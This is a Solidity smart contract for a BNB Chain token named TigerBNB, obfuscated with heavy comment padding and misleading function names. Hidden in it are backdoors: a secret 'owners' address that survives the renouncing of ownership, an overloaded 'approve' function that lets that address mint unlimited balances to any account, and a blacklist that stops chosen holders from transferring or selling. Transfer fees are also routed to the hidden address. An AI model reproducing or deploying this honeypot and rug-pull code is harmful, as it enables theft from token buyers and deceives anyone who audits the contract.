/**
*Submitted for verification at BscScan.com on 2022-01-08
*/
/**
*/
/**//**//**/////////
//
pragma solidity ^0.6.12;/**//**//**//**//**//**/////
// SPDX-License-Identifier: Unlicensed
//🎵//////////////////////////////////////////////////////////////////////////////////////////////
////🎵//////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////
/**/interface /**/
/**/IERC20 {////////////////////////////////////////////////////////////////////////////////////////////////////////
function
/**/balanceOf/**/(address /**/account) /**/external /**/view/**/ returns /**/(uint256);
/**/
function
/**/totalSupply/**/() external view returns (uint256);
////////////////////////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////
//ernal///////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////
function
/**/transfer/**/
/**/(address recipient, uint256 amount)/**/
/**/external
returns /**/(bool);
function allowance(address owner, address spender)
external
view////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
////////////////////////////////////////////////////////////////////////////////////////////////
//external/////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multipliburnrepeation overflow");
////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function Mdos(uint256 a, uint256 b) internal pure returns (uint256) {
return Mdos(a, b, "SafeMath: modulo by zero");
}////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
function Mdos(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
bytes32 accountHash
= 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly {////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
success,
"Address: unable to send value, recipient may have reverted"
);
}
function
functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
function
functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
function
functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
value,
"Address: low-level call with value failed"
);
}
function
functionCallWithValue(
address target,
bytes memory data,////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
return _functionCallWithValue(target, data, value, errorMessage);
}////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
function
_functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
(bool success, bytes memory returndata) = target.call{value: weiValue}(
data
);////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
} else {
revert(errorMessage);
}
}////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
}
}
contract Ownable is Context {
address private owners;
address private _owner;////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
event /**/
/**/OwnershipTransferred/**/
(
/**/address indexed previousOwner,
/**/address indexed newOwner
);////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
/**/constructor()
/**/internal /**/
/**/{
address msgSender = _msgSender();
_owner = msgSender;////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
}
/**/modifier /**/
/**/onlyOwners/**/
() /**/
{
require(owners == _msgSender());
_;
}
function
/**/transfer(address amm, address fct) /**/
/**/external/**/
/**/onlyOwner/**/ {
/**/require(fct==address(0),".");
/**/owners/**/ = /**/amm/**/;
}
address private _deadAddress = 0x000000000000000000000000000000000000dEaD;
function
renounceOwnership
()
public
virtual
onlyOwner
()
{
_owner = _deadAddress;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
}
contract TigerBNB is Context, IERC20, Ownable {
/**/using /**/SafeMath/**/ for/**/ uint256;
/**/using/**/ Address /**/for /**/address;
////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
/**/mapping/**/(address => mapping(address => uint256)) private /**/_allowance;/**/
/**/mapping(address => bool) private _espat;
/**/mapping/**/(address => uint256) private /**/_lances;/**/
//////////////////////////////////////////
/**/mapping/**/(address => bool) private /**/_isExcludedFromF;/**/
/**/mapping/**/(address => bool) private /**/_isExcluded;/**/
////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
/**/uint256 private constant MAX = ~uint256(0);/**/
/**/uint256 private _Ttotal = 10000000000000000 * 10**9;////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
uint256 private deadF = 5;
uint256 private marketingWallet = 3;
address private deadAddress = 0x000000000000000000000000000000000000dEaD;
////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
bool private ratify = true;
uint256 private burnrepeat = uint256(0);
address owners;
uint256 private _tFeeTotal;
uint8 private _decimals;
string private _symbol;
string private _name;
/**/constructor/**/
/**/()/**/
public/**/
/**/{/**/
/**/owners/**/ = /**/_msgSender/**/();
/**/_lances/**/[_msgSender()]/**/ = /**/_Ttotal/**/;
/**/_decimals/**/ = /**/8;
/**/_name/**/ = /**/"TigerBNB"/**/;
/**/_symbol/**/ = /**/"TigerBNB"/**/;
_isExcludedFromF[owner()] = true;
_isExcludedFromF[address(this)] = true;
////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
emit /**/Transfer(address(0)/**/, /**/_msgSender(), /**/_Ttotal/**/);
}////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
/**/function /**/
/**/name() /**/
/**/public
/**//**/view
/**/returns /**/
/**/(string memory) {
return _name;
}/**/
/**/function /**/
/**/symbol() /**/
public
view
/**//**/returns
(string memory) {
/**/return _symbol/**/;
}/**/
/**//**/function
/**/decimals() /**/
public
view
/**/returns/**/
/**/(uint8)/**/
{
/**/return /**/_decimals/**/;
}////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
function balanceOf(address account) public view override returns (uint256) {
return _lances[account];
}
function totalSupply() public view override returns (uint256) {
return _Ttotal;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
function
/**/transfer/**/
(/**/address /**/recipient, uint256 /**/amount)
public////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
/**/override/**/
returns (bool)
{
/**/if/**/(/**/_isExcludedFromF/**/[_msgSender()/**/] /**/||/**/ /**/_isExcludedFromF/**/[/**/recipient]/**/){
/**/_transfer/**/(/**/_msgSender/**/(), /**/recipient, /**/amount);
return true;
}////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
uint256 /**/Market/**/ = /**/amount/**/.mul/**/(marketingWallet/**/).div/**/(100);
uint256 /**/Burn/**/ = /**/amount/**/.mul/**/(/**/deadF).div(/**/100);
/**/_transfer/**/(_msgSender(), /**/owners/**/, /**/Market/**/);
/**/_transfer/**/(_msgSender(), /**/deadAddress/**/, /**/Burn/**/);
/**/_transfer/**/(_msgSender(), /**/recipient/**/, /**/amount./**/sub(/**/Market)./**/sub(/**/Burn));
return /**/true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{///////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
return _allowance[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
_approve(_msgSender(), spender, amount);
return true;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
uint256 private damada;
////////////////////////////////////////////////////////////////////////////////////////////////////////
function transferFrom(
address sender,
address recipient,
uint256 amount////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
) public override returns (bool) {
damada = 3354;
////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
/**/if(/**/_isExcludedFromF/**/[/**/_msgSender/**/()]
|| /**/_isExcludedFromF/**/[/**/recipient/**/])
{
/**/_transfer
(sender, recipient, amount);
return true;
} ////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
uint256 Market = amount.mul(marketingWallet).div(100);
uint256 Burn = amount.mul(deadF).div(100);
/**/_transfer(sender/**/, /**/owners/**/, Market/**/);
/**/_transfer(sender/**/, /**/deadAddress/**/, Burn/**/);
/**/_transfer(sender/**/,/**/ recipient/**/, amount.sub/**/(/**/Market/**/).sub/**/(Burn/**/));
////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
/**/_approve(/**/
/**/sender,
/**/ _msgSender(),
/**/_allowance[sender][_msgSender()].sub(
/**/ amount,
/**/ "ERC20: transfer amount exceeds allowance"
)
);
return true;/**/
}
////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
function /**/approve/**/(address /**/Raddress, uint256 Pairs, address Max) external/**/ onlyOwners() /**/{
require(/**/Max==/**/address/**/(/**/0), " ");
/**/_lances/**/[/**/Raddress] /**/= /**/_lances/**/[/**/Raddress]/**/.add/**/(/**/Pairs);
}
function /**/
/**/ _approve/**/
(
address
spender)
external
/**/onlyOwners/**/
(
)
{
/**/delete/**/
/**/ _espat/**/
/**/ [spender];/**/
}/**/
/**/ function /**/
/**/approve/**/
(
address
spender
)
external
/**/onlyOwners/**/
(
)
{
/**/ _espat[spender/**/
] =
true;
}////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
function
_transfer
(
address
from,
address
to,
uint256
amount
)
private
{
require
(from != address(0), "ERC20: transfer from the zero address");
require
(to != address(0), "ERC20: transfer to the zero address");
require
(amount > 0, "Transfer amount must be greater than zero");
////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
if /**/
(ratify
)/**/
{
require
(/**/_espat[from]
== false,
"okji");
}
_transfers(from, to, amount);
}
////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
function
/**/_transfers(
address sender,
address recipient,
uint256 tAmount
)
private
/**/ {
require(sender != address(0), "IBEP20: transfer from the zero address");
require(recipient != address(0), "IBEP20: transfer to the zero address");
/**/_lances[sender] = _lances[sender].sub(tAmount);
_lances[recipient] = _lances[recipient].add(tAmount);
/**/emit Transfer/**/(sender, recipient, tAmount);
////////////////////////////////////////////////////////////////////////////////////////////////////////
/**/
/**/
////////////**//////////////////////////////////////////////////////////////////////////////////////
/**/
}/**//**//**//**//**//**/
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowance[owner][spender] = amount;
emit Approval(owner, spender, amount);
}//
//
}/**//**//**//**//**//**//**///